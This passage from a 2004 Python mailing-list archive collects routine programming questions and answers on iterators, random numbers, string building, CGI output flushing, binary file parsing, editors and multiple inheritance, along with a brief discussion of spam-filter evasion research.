involving the sale of a parrot ;-)

Anton


From nospam-deets at web.de  Tue Feb 17 07:06:00 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Tue, 17 Feb 2004 13:06:00 +0100
Subject: pygame and tutorial
References: <ca5642cb.0402161422.61c41c25@posting.google.com>
Message-ID: <c0t07p$1bipr6$1@ID-111250.news.uni-berlin.de>

ardechou wrote:

> hi
> i want to find a tutorial for pygame
> but not on the site of pygame , just a tutorial for a beginner , to

Why not on the site of pygame? There is everything you request there, most
things on site, other tutorials are linked to.

-- 
Regards,

Diez B. Roggisch


From bluexcell at aol.com  Wed Feb 25 18:01:58 2004
From: bluexcell at aol.com (Bluexcell)
Date: 25 Feb 2004 23:01:58 GMT
Subject: Re Iptscrae Python and While
Message-ID: <20040225180158.08854.00000402@mb-m13.aol.com>

While:
This repeatedly tests the expression and, if it is true, executes the first
suite; if the expression is false (which may be the first time it is tested)
the suite of the else clause, if present, is executed and the loop terminates.

The problem with using While as a scanner loop is the loop cycle is carried out
at the natural cycle rate and is fixed, also one would have to define a
function that contained  a while loop in order to control it remotely,? 

What i want is a loop in which the the cycle rate is a variable, so it can be
controlled globally from other functions,  I also need  to set a variable to
start and stop the loop  so i can call it and set it globally from other
functions and  i can see that is possible, by containing the While loop in a
function.
The purpose of the loop is to scan for events, these are the #body, and  the
result of those function calls may require a change in the scan rate or for the
scan to stop and command to pass elswhere.. ie another function. While can be
exited using break i know and it can resume using continue. but it seems an
unwieldy and ugly way to do it.
I will study it further though.. perhaps there is a clean way i havent seen
yet.
Thanks. Incony 


From juergen.perlinger at nbg6.siemens.de  Mon Feb 23 05:51:22 2004
From: juergen.perlinger at nbg6.siemens.de (juergen perlinger)
Date: Mon, 23 Feb 2004 11:51:22 +0100
Subject: #! Question
References: <30875970.0402191650.57dfe998@posting.google.com>
	<40367658$1@nntp0.pdx.net> <c16v8a$87n$1@news.service.uci.edu>
	<slrnc3f2jp.9s6.joe@gate.notcharles.ca>
Message-ID: <c1clbo$h6b$1@papyrus.erlm.siemens.de>


"Joe Mason" <joe at notcharles.ca> wrote in message
news:slrnc3f2jp.9s6.joe at gate.notcharles.ca...
> Is anyone else reading the title of this thread as a curse?
>
> Joe

didn't until that question...




From santi at netlabs.com.uy  Fri Feb 20 09:55:45 2004
From: santi at netlabs.com.uy (Santiago Aguiar)
Date: 20 Feb 2004 06:55:45 -0800
Subject: AOP and metaclasses
Message-ID: <9b5b9c27.0402200655.24b91718@posting.google.com>

Im trying to use AOP techniques on python but, even if I understand
the idea behind metaclasses, I cant find a way to use AOP in a dynamic
way.

What im trying to do is to weave an aspect to a class at runtime, but
i don't want to include any special code or definition in the class
itself. Also, i want to do
it just for some particular classes. Is there any way to do this? 

I know its possible to apply an aspect to all the classes by
redefining __metaclass__, and that I can do the same with a single
class by assigning to __metaclass__ inside the class definition.
However, I want to avoid the last step, so i can apply the aspect to
any class.

thanks!!

saludos! santiago.


From tjreedy at udel.edu  Sat Feb 21 23:13:19 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 21 Feb 2004 23:13:19 -0500
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
	<103g0mhgmfups16@news.supernews.com>
Message-ID: <c19a90$d4s$1@sea.gmane.org>


"John Roth" <newsgroups at jhrothjr.com> wrote in message
news:103g0mhgmfups16 at news.supernews.com...
>
> <David Morgenthaler> wrote in message
> news:tisf301qf76c8lh0jkq9086gpqoep1bb1u at 4ax.com...
> > How does one overide the iterator implied by the construct "for line
> > in file:"?

Wrap it, don't replace it.  See below.

> > For example, suppose I have a file containing row,col pairs on each
> > line, and I wish to write a subclass of file that will transform these
> > to x,y coordinates using an affine transform. I'd like it to look
> > something like this (but this clearly doesn't work):

Your class needs an __iter__ function.  However, unless you have some other
reason for the heavy duty class option, much easier is something like:

def xycoords(lines):
    # lines is an iterable that yields text lines of appropriate format
    for line in lines:
        <extract numbers and transform>
        yield x,y

You can feed xycoords a literal list of lines for testing and then an open
file for production use.
Chaining iterators like this is part of their intended use.

Terry J. Reedy






From afriere at yahoo.co.uk  Tue Feb 17 19:42:29 2004
From: afriere at yahoo.co.uk (Asun Friere)
Date: 17 Feb 2004 16:42:29 -0800
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
Message-ID: <38ec68a6.0402171642.2b98fb4b@posting.google.com>

shivermetimbers15 at yahoo.com (shivermetimbers15) wrote in message news:<8e3e8c6c.0402171124.1183350c at posting.google.com>...
> I'm new to Python, as you can tell, and I'm interested in how to do this.


As well as using random.random() consider whether some of the other
methods in the random module might serve your needs, eg.

>>> import random
>>> random.randrange(500,1000)
806
>>> [random.randrange(0, 10) for n in range(8)]
[4, 1, 6, 5, 5, 3, 0, 5]
>>> a = ['one', 'two', 'three', 'four', 'five']
>>>random.choice(a)
'three'
>>> random.shuffle(a)
>>> a
['four', 'two', 'one', 'three', 'five']


From ksimpson-nospam at ttul.org  Tue Feb 24 13:09:21 2004
From: ksimpson-nospam at ttul.org (ksimpson-nospam at ttul.org)
Date: Tue, 24 Feb 2004 18:09:21 GMT
Subject: Inlined C code and a TypeError
Message-ID: <slrnc3n4r6.4cd.ksimpson@ttul.org>

> Hi all,

> I have a nested loop that is written using PyInline for speed reasons.
> It modifies three matrices (lists of lists 
> containing integer numbers).

> Upon return from this function I run min() on values from the matrices.
> Below is the puzzling output:
> ...

Could you send the code that you're having trouble with?

Thanks,
Ken Simpson (of PyInline infamy)



From phleum_nospam at chello.se  Thu Feb  5 02:30:53 2004
From: phleum_nospam at chello.se (Carl)
Date: Thu, 05 Feb 2004 08:30:53 +0100
Subject: A matrix problem. Please help!
References: <8zaUb.2767$O41.76012@amstwist00>
	<mailman.1215.1075929655.12720.python-list@python.org>
Message-ID: <jdmUb.2868$O41.76062@amstwist00>

Jeff Epler wrote:

> Well, my strategy is to get a new array with 1 in the spots where you
> want a 1 in the output, and other values elsewhere.  Then I can use
> comparison to get a (boolean) array with 1s in the right place
> 
> I didn't find a satisfactory way to do that, but here's one that seemed
> to work:
>>>> ru
> array([[0, 0, 1, 0, 1],
>        [1, 0, 0, 1, 1],
>        [0, 0, 0, 1, 1],
>        [1, 1, 1, 0, 0],
>        [1, 1, 0, 1, 0]])
>>>> N.add.accumulate(N.add.accumulate(ru, 1), 1)
> array([[ 0,  0,  1,  2,  4],
>        [ 1,  2,  3,  5,  8],
>        [ 0,  0,  0,  1,  3],
>        [ 1,  3,  6,  9, 12],
>        [ 1,  3,  5,  8, 11]])
>>>> _ == 1
> array([[0, 0, 1, 0, 0],
>        [1, 0, 0, 0, 0],
>        [0, 0, 0, 1, 0],
>        [1, 0, 0, 0, 0],
>        [1, 0, 0, 0, 0]], type=Bool)
> 
> The first accumulate makes everything to the left of a 1 >0, and the
> second accumulate makes it >1.
> 
> Jeff

Jeff,

Your solution works very well. I tried to do something similar, but with
N.cumsum instead of N.add.accumuluate. However, I never did the second
step, so I ended up with two "1:s" in each row and was, therefore, never
able to do the booelan comparison.

Thanks for yopur help!

Carl


From feb04.20.netman at spamgourmet.com  Fri Feb 20 08:19:11 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Fri, 20 Feb 2004 13:19:11 GMT
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <4035DC5F.FBACD4F8@netsurf.de>
Message-ID: <jPnZb.64294$KV5.40166@nwrdny01.gnilink.net>

If you're looking to have a string that you can write to in a stream, like a
file, you might try StringIO

>>> import random, string
>>> from cString import StringIO

>>> s = StringIO()
>>> for i in xrange(1000000):
            s.write(random.choice(string.letters))

>>> len(s.getvalue())
1000000

This works fine for strings up to 10 MB, after that you might want to
consider stashing your data to disk and reading/writing in chunks.

Chris



"Andreas Lobinger" <andreas.lobinger at netsurf.de> wrote in message
news:4035DC5F.FBACD4F8 at netsurf.de...
> Aloha,
>
> Andreas Lobinger schrieb:
> > How to generate (memory and time)-efficient a string containing
> > random characters?
>
> > d = [random.choice(string.letters) for x in xrange(3000)]
> > s = "".join(d)
>
> 1) Sorry for starting a new thread, but there were calls for more spec.
> 2) Thanks for all replies so far.
>
> To be more specific about
> - OS/availability of /dev/random
> Im looking for an elegant solution for all types. At the moment i'm
> developing in parallel on a slow (250MHz) i86/Win95 notebook, a typical
> i86/linux box and a couple of SUNs (up to 16GB main-mem...).
>
> - using random / crypto-safe-strings
> The use of random is intended, because it generates a known sequence.
> I can store the seed an re-generate the sequence any time, and afaik
> the sequence is OS/machinetype independent.
>
> As i wrote in the original post, the random string is only a prerequisite
> for another question.
>
> - What to do with the string
> I use the sting as a testpattern for a tokenizer/parser. So the usage
> of string.letters is only used as an example here.
>
> The main question was:
> How to concat a string without contantly reallocating it.
>
> Wishing a happy day
> LOBI




From skip at pobox.com  Thu Feb  5 12:27:25 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 5 Feb 2004 11:27:25 -0600
Subject: spam classification breaker
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEEGIMAB.tim.one@comcast.net>
References: <zkNtOLAjhgIAFweW@jessikat.fsnet.co.uk>
	<LNBBLJKPBEHFEDALKOLCMEEGIMAB.tim.one@comcast.net>
Message-ID: <16418.31997.793365.717981@montanaro.dyndns.org>


    >> This article at the BBC reports on what appears to be a genetic
    >> algorithm or random search method for finding words that apparently
    >> fool bayesian classifiers every time.
    >> 
    >> http://news.bbc.co.uk/1/hi/technology/3458457.stm

I noticed immediately that the author of the article used the term "ham" to
refer to mail which was not spam.  Even if SpamBayes dies an ignominious
death in the future at the hands of some ruthless spammers, that will be our
lasting legacy.

Mr. Graham-Cumming could have avoided the overhead of sending himself 10,000
mails by simply selecting words from his archived public presence on the
net: web pages, Usenet posts or archived mailing list posts associated with
his email address.  I suspect his genetic algorithm would have been all but
unnecessary.  (Google for "John Graham-Cumming" for example.)

This doesn't have to be a tedious process either.  In the course of normal
scumbag email harvesting, all the crawler has to do is select a few
non-trivial words from the harvested page and associate them with the email
address(es) on that page.  After seeing the same email address a few times
they would have a decent collection of hammy words for use in the "random
words" block of later spam.

Also, unlike the statement the author made:

    And, he said, this would have to be repeated for every person a spammer
    wanted to reach because they would all have a different list of key
    words.

this wouldn't have to be done for all email addresses.  Anything which
increases the likelihood that a spam is opened will be seen as an
improvement for the spammer.  There's obviously no need for them to get a
100% open rate on spam.  If that was the case, they'd already all be out of
business.

These research types.  They always do things in the hardest way possible...

Skip



From amk at amk.ca  Sun Feb 29 19:34:37 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Sun, 29 Feb 2004 18:34:37 -0600
Subject: A database-abstraction package?
References: <EZr0c.7454$rj4.100210@news2.e.nsc.no>
Message-ID: <kbadncjIqu-AGN_dRVn-gg@speakeasy.net>

On Sun, 29 Feb 2004 21:30:34 +0100, 
	Thomas Weholt <2002 at weholt.org> wrote:
> I need to make my project work with SQLite, MySQL and Postgresql, but I
> don't want to create and maintain a set of table-schemas for all of them.

Those are precisely the systems that SQLobject (www.sqlobject.org) supports.

--amk


From elainejackson7355 at home.com  Sun Feb 22 00:43:07 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Sun, 22 Feb 2004 05:43:07 GMT
Subject: Is there an easier way to break a list into sub groups
References: <92c59a2c.0402212013.2e0fa89b@posting.google.com>
Message-ID: <LjXZb.585311$X%5.533811@pd7tw2no>

groups = lambda L,n: [L[i*n:(i+1)*n] for i in range(len(L)) if L[i*n:(i+1)*n]]

HTH


"MetalOne" <jcb at iteris.com> wrote in message
news:92c59a2c.0402212013.2e0fa89b at posting.google.com...
| The following does what I want, but I feel like this could maybe be a
| one liner.
| I just can't think of anything shorter.
| If there is nothing shorter, does this seem like a candidate for
| inclusion in the standard library somewhere.
|
| >>> def groups(l, n):
|       """l is an input list.
|          n is the size of the sub group
|          returns a list of the sub groups
|       """
| ...   i=0
| ...   g = []
| ...   while i < len(l):
| ...     g.append(l[i:i+n])  #append sub group to g
| ...     i+=n
| ...   return g
| ...
| >>> l = [1,2,3,4,5,6]
| >>> groups(l,2)
| [[1, 2], [3, 4], [5, 6]]
| >>> groups(l,3)
| [[1, 2, 3], [4, 5, 6]]
| >>> groups(l,4)
| [[1, 2, 3, 4], [5, 6]]




From feb04.20.netman at spamgourmet.com  Sun Feb 29 11:39:38 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sun, 29 Feb 2004 16:39:38 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<m3hdxb6rwg.fsf@pc150.maths.bris.ac.uk>
	<6O40c.5969$qX5.1972@nwrdny03.gnilink.net>
	<95aa1afa.0402290216.18ee8000@posting.google.com>
Message-ID: <eBo0c.10764$qX5.5695@nwrdny03.gnilink.net>

That's my bug!  That's exactly the problem I'm having.  Thanks for the info,
it looks like I'll have to create a mixin class that manually defines all
emulation methods, but will be broken for __radd__, __rsub__, __rmul__,
etc...  but as long as I make a note of it in the documentation, it should
be okay.

Thanks showing me the bug report.

Chris

"Michele Simionato" wrote:
> "Chris" <feb04.20.netman at spamgourmet.com> wrote in message
news:<6O40c.5969$qX5.1972 at nwrdny03.gnilink.net>...
> > I tried a couple variation of that, and __getattr__, when defined in a
> > metaclass is never called when accessing an attribute on an instance of
a
> > class derived from that metaclass.
>
> You may also look at this bug report:
>
>
http://sourceforge.net/tracker/?group_id=5470&atid=105470&func=detail&aid=789262
>
> The special lookup of special attributes has bitten at least three or four
> person on this mailing list in the last year or so: I maintain that
> it is a documentation bug.
>
>         Michele Simionato




From anton at vredegoor.doge.nl  Wed Feb 25 12:49:27 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Wed, 25 Feb 2004 18:49:27 +0100
Subject: Newbie lost
References: <mailman.113.1077727206.8594.python-list@python.org>
Message-ID: <403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>

Angelo Secchi <secchi at sssup.it> wrote:

>
>I'm fighting with a binary file and I am definitely lost.
>I know that each line of the file has a first part that is a string with
>length 113 and then that there is a group of identical fields. I do not
>know the precise format of these fields even if I know that the file was
>created on an IBM Mainframe and that in the binary part there should be
>223 fields with the same width 4.
>Just to give you an idea if I read the first line of my file  as a
>string I obtain something like (just a small part of the first line):
>
>13510010222010341341F\xee;\xb4\x00\x00\x00\x00\x00\x00\x00\x00F]\xe3\x9
>a\x00
>
>
>Still I am not able to convert this binary. Can anybody give some
>advices?

The string above contains escape sequences, so sometimes four
characters correspond to one byte, sometimes a char is just a byte.
This is not really present in the file but just an artifact of the way
you chose to print it. In order to gain more insight:

#open the file in binary mode e.g: 
inf = file('somefile','rb')

#read 1 line e.g:
line = inf.readline()

#turn this line into a list of characters:
L = list(line)

#Inspect the list L and come back here with further questions,
#if you have any :-)
print L

Anton







From brian at sweetapp.com  Sun Feb  1 00:28:33 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Sat, 31 Jan 2004 21:28:33 -0800
Subject: Python vs. Io
In-Reply-To: <711c7390.0401311808.3914a94b@posting.google.com>
Message-ID: <01ff01c3e884$3c065180$0000fea9@dell8200>

Daneil Ehrenberg wrote:

> Dog barks //Io
> Dog.barks() #Python

Interesting. I would never name a method like that because it is not
immediately clear to me whether the method is imperative of interrogatory.

The dog barks (Are you asking or telling the dog?)
Bark dog (You are definitely telling the dog something)
Dog, are you barking (You are definitely asking the dog)

So I'd write:

Dog barking
Dog bark

Cheers,
Brian




From shivermetimbers15 at yahoo.com  Wed Feb 18 15:10:18 2004
From: shivermetimbers15 at yahoo.com (shivermetimbers15)
Date: 18 Feb 2004 12:10:18 -0800
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
Message-ID: <8e3e8c6c.0402181210.69b47ec1@posting.google.com>

Thanks, everyone. Also, I'd really like to know how to remove the
lowest number from the sequence.


From jcarlson at nospam.uci.edu  Wed Feb 11 10:41:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 07:41:44 -0800
Subject: software design question
In-Reply-To: <c0cpsk$k40$1@news.rz.uni-karlsruhe.de>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
	<c0b0k2$fd7$1@news.rz.uni-karlsruhe.de>
	<c0bm5l$p3b$1@news.service.uci.edu>
	<c0cpsk$k40$1@news.rz.uni-karlsruhe.de>
Message-ID: <c0dik9$2gb$2@news.service.uci.edu>

>>I would imagine he uses his own editor: http://www.python-ide.com
>>
>>I also don't have any issues editing 1-3k line files using my own
>>editor: http://pype.sourceforge.net (PyPE itself is ~3900 lines).
> 
> I did some browsing and found another, quite nice one:
> http://www.die-offenbachs.de/detlev/eric3.html
> 
> For small programs its the total overkill. It may be more usefull if you're
> developing graphical programs, since it supports compiling Qt .ui files,
> got some menubar entries for Qt Reference Manual, QLinguist,
> QXXXDialog-Wizards, etc. (if you happen to like that sort of editor).

Yeah, I found Eric3 a while ago as well.  My one problem is that I 
couldn't get it to work with windows, every binary for QT that I tried 
didn't want to work.

> What I am missing includes:
> - browsable source tree :(
> - Emacs's comment-box
> - Emacs keyboard shortcuts      

Eric3 doesn't have a browsable source tree?

There is an editor called SPE (Stani's Python Editor).  It has comments 
and a browsable source tree.  I don't know if it has the keyboard 
shortcuts.  One thing that stops me from using it (as opposed to my own 
editor) is that it is really slow.  Start messing around with multiple 
buffers, or files larger than a few hundred lines.  Ick.

  - Josiah



From npat at efault.net  Sun Feb 29 12:58:27 2004
From: npat at efault.net (Nick Patavalis)
Date: Sun, 29 Feb 2004 17:58:27 +0000 (UTC)
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
Message-ID: <slrnc44a23.vnq.npat@pink.efault.net>

In article <c1t89m$a3u$1 at solaris.cc.vt.edu>, Bart Nessux wrote:
> 
> Each Program counts to 1,000,000 and prints each number to the
> console as it counts.
>
 
> What do you guys think of this? I don't know enough about Perl & C, and
> perhaps Python, to know if this was indeed a fair test. I thought C would
> do this much faster than it did. Any ideas? 

This is _not_ a meaningfull test! What you are actually measuring, is
the performance of your terminal, not the performance of the
language. Try the same, or a similar, test _without_printing_ (just
count to 1,000,000) and you'll see a huge differene!

/npat



From michael at foord.net  Mon Feb  9 04:32:53 2004
From: michael at foord.net (Fuzzyman)
Date: 9 Feb 2004 01:32:53 -0800
Subject: Output from a CGI whilst running
Message-ID: <8089854e.0402090132.7c8118fb@posting.google.com>

I've written an an anagram generator.

(The desktop version is available for download from
http://www.voidspace.org.uk/atlantibots/nanagram.html !!)

The CGI version is at :
http://www.voidspace.xennos.com/nanagram-CGI.html

Although I had it working before - I think it needs tweaking again...
:-(

Anyway - all that is more or less irrelevant (isn't most of USENET ?)
- what I need to know is - how do I force the server to allow output
from the script *before* the script has finished outputting ?

The script sometimes takes a while to finish and I'd like it to
display results as it finds them, rather than waiting until I'd find
them all..........

The closest I could find was : (which of course is for Perl)

http://www.n3t.net/Programming/

For forcing a script to use Non Parsed Headers (for Apache only), use
this at the begining
of your script.
**note - this will let the cgi display it's output while running,
rather than waiting for the
whole thing to finish. 

#!/usr/bin/perl
$| = 1;
print "$ENV{'SERVER_PROTOCOL'} 200 OK\n";
print "Server: $ENV{'SERVER_SOFTWARE'}\n";
print "Content-type: text/html\n\n";


Anyone know the way to achieve the same result under python ??

Fuzzyman

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From roy at panix.com  Mon Feb  2 19:47:43 2004
From: roy at panix.com (Roy Smith)
Date: Mon, 02 Feb 2004 19:47:43 -0500
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<bvmmn5$t5a$1@news.rz.uni-karlsruhe.de>
Message-ID: <roy-64AF2A.19474302022004@reader2.panix.com>

Uwe Mayer <merkosh at hadiko.de> wrote:
> On a lecture on software engeneering I was tought that multiple 
> inheritance was a bad thing to do, since there are problems with the 
> resolution order which leads to badly readable code, induces errors, 
> shows poor software design, etc.

There are certainly problems with multiple inheritance, but that doesn't 
mean that all uses of MI are inherently evil.  It is certainly 
worthwhile to listen to the arguments the anti-MI people make and think 
about the problems.

Of course, you need to be able to factor out those arguments which are 
language-specific from those which are more general.

> When writing the sentence above I was implying that m.i. in C++ propably is
> difficult to handle

Everything in C++ is difficult to handle.  I don't see anything about 
C++'s MI implementation which stands out as particularly worse or more 
complex than the rest of the class inheritance system.
 
> How much effort is it worth to keep up good transparent programming design
> at cost of more code, more levels of delegation (slower) and a more complex
> interior in general?

That's a complicated question, and I'm not sure I fully understand what 
you're asking, but my general answer would be that your main goal should 
be to make the program easy for somebody else to understand (perhaps 
years from now, when you're no longer around to answer questions).  The 
number of lines of code is secondary, and speed of execution even less 
important.

When the whole thing is done, and you're sure everything works, that's 
the time to figure out if it's fast enough.  If it's not, then you 
should start profiling things to figure out where most of the time is 
being spent and look there for speedups.  The biggest speedups will 
typically come from algorithmic improvements, not from low-level 
optimizations like using or not using MI.


From phil.hornby at accutest.co.uk  Mon Feb  2 18:57:59 2004
From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Mon, 2 Feb 2004 23:57:59 -0000
Subject: Produce anti-noise
In-Reply-To: <slrnc1to6u.5bm.dek@pink.Berkeley.EDU>
Message-ID: <NFBBIBBEGKCGCEGNDLKGEEKPDNAA.phil.hornby@accutest.co.uk>

The big problem with this sort of thing is latency - DSPs have a very low
latency as they are generally designed to do 1 operation per cycle and their
sole purpose is to do the signal processing not worry about all the other
stuff a normal PC has to worry about - i.e. the OS. Most solutions that run
on a desktop machine would have a dedicated DSP on a PCI card and would NOT
run on your PC's main CPU as it is not a simple processing power
issue...more a round trip delay issue... and getting through an OS and an
Interpreted language would most likely be too much delay... It might be
possible to do it by wrapping a C API to a Commercial DSP system that would
allow you to configure the hardware to do what you want...

HTH

--
Phil

"Requirements - what are they I just hack something together that does what
I think they want" ;)

In article <bvmlik$kam$06$1 at news.t-online.com>, Diez B. Roggisch wrote:
>> I want to know if the is a way to do something in python to produce
>> some anti-noise (i.e. I talk in the microphone and the sound go out by
>> the speakers but with inversed phase).
>>
>> So I want to know how to control the microphone and to add some sort
>> of effect to the sound that enter in and to put it out with that
>> effect and all this at the same time.
>
> AFAIK such things need vast amounts of computational power for very
> complicated algorithms and very low latencies - a job for specialised DSP
> code. Its much more complicated than inverting the amplitude (I don't
think
> that inverting the phase is possible - AFAIK you can only shift it, and
> thats not what you want here...)
>
> So I seriously doubt that you can do that with python - I even doubt that
> you can do it with you computer. Not so much from the raw computational
> power side of the thing, but much more from your audio-equipment.
> Professional noise reduction systems costs several thousands of euro and
> feature lots of speakers, especially designed, chosen and arranged to
> reflect the acoustic envrionment of _one_ room, e.g. the inside of a
> certain car. Then specially adapted algorithms come into play.

Hmm.  You can buy a $200 set of bose headphones that do it with a simple
chip and low power.
I think a regular PC could do this (so long as you know the equations) by
brute force.  You'd probably want to
use signal processing libraries rather than pure Python, though.

--
http://mail.python.org/mailman/listinfo/python-list




From http  Sat Feb 28 14:16:32 2004
From: http (Paul Rubin)
Date: 28 Feb 2004 11:16:32 -0800
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
	<7x4qtcozv5.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280017.5f8af771@posting.google.com>
	<7xd67zsfqg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402281027.21cc232d@posting.google.com>
Message-ID: <7xllmnaub3.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> > Did you ever look at the key management scheme I circulated a while
> > back?  Is it the kind of thing anyone cares about?
> 
> I didn't see that.  I did see that you've talked about a stdlib
> interface to OS-level Random Number Generators, like /dev/urandom and
> CryptGenRandom.  I think that's an excellent idea.

http://www.nightsong.com/phr/crypto/crypto.txt

But I want to change it some, to use standard ciphers.

> (aside from ciphers and RNGs, the other thing on my wish-list is
> faster modular exponentiation..  Python use a simple right-to-left
> square-and-multiply.  I'm no expert here, but I think it would be
> pretty easy to make that a few times faster for crypto sized numbers. 
> tlslite's handshaking, in python code, is ~5x slower than OpenSSL
> right now..)

Use gmpy, http://gmpy.sf.net


From cappy2112 at yahoo.com  Sat Feb 28 14:43:43 2004
From: cappy2112 at yahoo.com (Tony C)
Date: 28 Feb 2004 11:43:43 -0800
Subject: Tab expansion problem or ..?
References: <8d3e714e.0402271329.40201ed2@posting.google.com>
	<c1odiu$fkq$07$2@news.t-online.com>
Message-ID: <8d3e714e.0402281143.795ada91@posting.google.com>

> > 
> > for line in fhIn:
> >   if 'HEXNUM' in line.expandtabs():
> >     Hexloc = line.find('HEXNUM')
> >     print"\n%s" % line[:Hexloc]
> > 
> 
> You are throwing away the result of line.expandtabs() in the above code.
> Therefore the expansion effects neither the printed line nor the Hexloc
> index. It should rather be (untested)
> 
> for line in fhIn:
>     if "HEXNUM" in line:
>         line = line.expandtabs()
>         Hexloc = line.find("HEXNUM")
>         print "\n%s" % line[:Hexloc]
> 

In my *actual* code, I am storing the result from expandtabs()
I was away from the computer where my sources were, so I just typed in
a quick
example- but overlooked storeing the result from expantabs().

That being said, I still don't understand why the index returned from
find()does not give me the correct offset into the string, where the
label HeXNUM is.


From merkosh at hadiko.de  Sun Feb  1 13:48:00 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sun, 01 Feb 2004 19:48:00 +0100
Subject: advice on programming style: is multiple inheritance bad?
Message-ID: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>

Hi,

I got a class A2 that needs to inherit from class A1. 
A2, as well as some other classes implement a same functionality and in
order to prevent code duplication I'd like to factorize that (potentially)
duplicate code into a class SuperA from which then A2 and all other classes
could inherrit.
However, this would cause A2 to have two super classes A1 and SuperA - which
is possible of course in Python.

My question is: is that bad programming style?
>From C++ and Java we "learn" that you shouldn't do that.

Class A is automatically generated from other tools, so I can't solve the
problem by just letting A1 inherit from SuperA.

Your opinions?

Ciao
Uwe
-- 
        


From eric.brunel at N0SP4M.com  Thu Feb 19 06:20:37 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Thu, 19 Feb 2004 12:20:37 +0100
Subject: Hiding/showing Tkinter.Canvas items
References: <mailman.52.1077179811.27104.python-list@python.org>
	<c125bs$h5i$1@news-reader2.wanadoo.fr>
Message-ID: <c125n2$4be$1@news-reader3.wanadoo.fr>

(Sorry for the previous post: unwanted click on the "Send button"... I did not 
find how to cancel the message via Mozilla's news reader: there is a "Cancel 
message" item in the contextual menu, but it is always disabled. If anybody can 
help...)

Marc Boeren wrote:
 > Hi,
 >
 >
 >>>mycanvas.itemconfigure("highlight", state='hidden')
 >>
 >>Easy, once you know it :-)
 >
 >
 > It takes a bit of searching and experimenting, but once you know .configure
 > and .itemconfigure and also know where to find a list of options
 > (http://www.tcl.tk/man/tcl8.4/TkCmd/canvas.htm), there's a lot you can do.
 > The Canvas widget has amazed me with its flexibility and power: I love it!

This is the main reason I stick to Tkinter. I've never seen any widget just half
as powerful as tk's canvas in any other GUI toolkit.

BTW, does anybody know any of these toolkits that have a decent equivalent of 
tk's canvas? There are quite a lot of GUI toolkits interfaced with Python 
(wxWindows, GTK, Qt, FLTK, Fox, ...) and I never had time to experiment them all 
to see how easily a vector-graphics drawing application can be done. If anybody 
has any experience with that, I'd be glad to hear about it.
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From spam-opengeometry at yahoo.ca  Mon Feb 23 00:11:06 2004
From: spam-opengeometry at yahoo.ca (William Park)
Date: 23 Feb 2004 05:11:06 GMT
Subject: Extract data from ASCII file
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
Message-ID: <c1c219$1gqo28$1@ID-99293.news.uni-berlin.de>

Ren <rlpreston at sbec.com> wrote:
> Suppose I have a file containing several lines similar to this:
> 
> :10000000E7280530AC00A530AD00AD0B0528AC0BE2
> 
> The data I want to extract are 8 hexadecimal strings, the first of
> which is E728, like this:
> 
> :10000000 E728 0530 AC00 A530 AD00 AD0B 0528 AC0B E2
> 
> Also, the bytes in the string are reversed. The E728 needs to be 28E7,
> 0530 needs to be 3005 and so on.
> 
> I can do this in C++ and Pascal, but it seems like Python may be more
> suited for the task.
> 
> How is this accomplished using Python?

1. Use FIXEDWIDTH in Awk.

2. Use string slice in Python.

3. Use variable operation in (Bash) shell.

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 


From rainerd at eldwood.com  Tue Feb 10 00:23:06 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Tue, 10 Feb 2004 05:23:06 GMT
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1398.1076388640.12720.python-list@python.org>
Message-ID: <_UZVb.208365$Rc4.1718041@attbi_s54>

Terry Reedy wrote:
> "Bart Nessux" <bart_nessux at hotmail.com> wrote in message
> news:c09f8c$l2f$1 at solaris.cc.vt.edu...
>> I understand that most people write functions to reuse code, no?
>
> Another reason is to define, name, and embody a concept, even if the
> function is only used once.

Another reason is that you need a callable object, whether it embodies some
high level concept or not.


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From steve at ninereeds.fsnet.co.uk  Thu Feb 26 10:24:55 2004
